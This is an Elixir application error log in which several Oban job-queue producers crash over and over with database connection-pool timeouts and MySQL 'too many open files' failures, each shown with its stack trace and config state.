State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:16:47.735193Z], limit: 5, uuid: "7e03818c-f624-44b6-9df2-cb7bb6c4b906", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:47.735198Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113241>, refresh_timer: #Reference<0.2525715032.1077411843.245788>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:59.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:16:47.734824Z], limit: 20, uuid: "7d1fc27c-1bd1-4bbe-8dcd-fc577e21f2b3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:47.734830Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113239>, refresh_timer: #Reference<0.2525715032.1099431938.14263>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:16:59.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1839ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:16:47.734073Z], limit: 5, uuid: "7c342c43-c49e-450e-b678-4deec1ab1acb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:47.734081Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113199>, refresh_timer: #Reference<0.2525715032.1121189889.113195>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:01.137000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:01.342000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:01.343000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:04.439000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:06.177000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:16:55.237861Z], limit: 10, uuid: "cb3e425c-6079-455b-a9a3-dae2c9930cb3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:55.237867Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.14382>, refresh_timer: #Reference<0.2525715032.1099431938.14380>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:09.483000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:11.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:13.169000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:16:59.239089Z], limit: 5, uuid: "e2364daa-e023-454b-9722-5a93c4b199f7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:59.239094Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113541>, refresh_timer: #Reference<0.2525715032.1121189889.113520>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:13.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:16:59.241464Z], limit: 20, uuid: "2f8c8666-2641-4a1b-903f-abc40fe9e335", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:59.241469Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113540>, refresh_timer: #Reference<0.2525715032.1121189889.113531>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:13.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2026ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:16:59.239002Z], limit: 50, uuid: "c665e787-c82d-484c-b437-91cec0c29ba6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:59.239008Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113542>, refresh_timer: #Reference<0.2525715032.1121189889.113512>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:13.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1845ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:16:59.239153Z], limit: 3, uuid: "cf2bef43-5eec-4c47-a409-a6940fef9d0a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:59.239158Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.113543>, refresh_timer: #Reference<0.2525715032.1121189889.113522>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:13.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:16:59.248361Z], limit: 5, uuid: "645a9122-883f-4c00-8019-82d2b1e7b56c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:16:59.248367Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.2007>, refresh_timer: #Reference<0.2525715032.1068498948.2004>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:17:14.591000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:17.279000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:19.111000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:19.654000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:17:21.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
